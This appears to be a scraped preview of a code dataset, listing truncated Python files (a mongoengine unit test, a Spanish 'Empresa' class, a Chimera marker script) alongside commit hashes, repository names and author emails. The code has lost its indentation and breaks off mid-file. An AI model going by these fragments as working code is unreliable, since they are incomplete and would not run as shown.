from mongoengine import *
from mongoengine.queryset import Q
from mongoengine.queryset import transform
__all__ = ("TransformTest",)
class TransformTest(unittest.TestCase):
def setUp(self):
connect(db='mongoenginetest')
def test_transform_query(self... | [
"ross.lawley@gmail.com"
] | ross.lawley@gmail.com |
e33a42a38a1debfc93d729d08ada76d192a6482a | 7b12eb45c1ea76ad9c186b858b5dfebf2c5b862a | /.history/DEBER_20210904224156.py | 4d46b4eeb7c7647796b7be8f741a1142eca26dac | [
"MIT"
] | permissive | Alopezm5/PROYECTO-PARTE-1 | a1dce04009b24852c1c60e69bdf602ad3af0574b | bd7a8594edf08d41c6ca544cf6bac01ea4fcb684 | refs/heads/main | 2023-07-25T11:22:17.994770 | 2021-09-07T03:27:34 | 2021-09-07T03:27:34 | 403,670,226 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,331 | py | import os
class Empresa():
def __init__(self,nom="",ruc=0,dire="",tele=0,ciud="",tipEmpr=""):
self.nombre=nom
self.ruc=ruc
self.direccion=dire
self.telefono=tele
self.ciudad=ciud
self.tipoEmpresa=tipEmpr
def datosEmpresa(self):#3
self.nombre=input("Ingres... | [
"85761855+Alopezm5@users.noreply.github.com"
] | 85761855+Alopezm5@users.noreply.github.com |
2764a211f343a64ccde85e1e0542bfca3fd5fe8a | 711756b796d68035dc6a39060515200d1d37a274 | /output_cog/optimized_43164.py | e078833aa4457156d585a492901caa880aeb5a30 | [] | no_license | batxes/exocyst_scripts | 8b109c279c93dd68c1d55ed64ad3cca93e3c95ca | a6c487d5053b9b67db22c59865e4ef2417e53030 | refs/heads/master | 2020-06-16T20:16:24.840725 | 2016-11-30T16:23:16 | 2016-11-30T16:23:16 | 75,075,164 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,852 | py | import _surface
import chimera
try:
import chimera.runCommand
except:
pass
from VolumePath import markerset as ms
try:
from VolumePath import Marker_Set, Link
new_marker_set=Marker_Set
except:
from VolumePath import volume_path_dialog
d= volume_path_dialog(True)
new_marker_set= d.new_marker_set
marker_set... | [
"batxes@gmail.com"
] | batxes@gmail.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.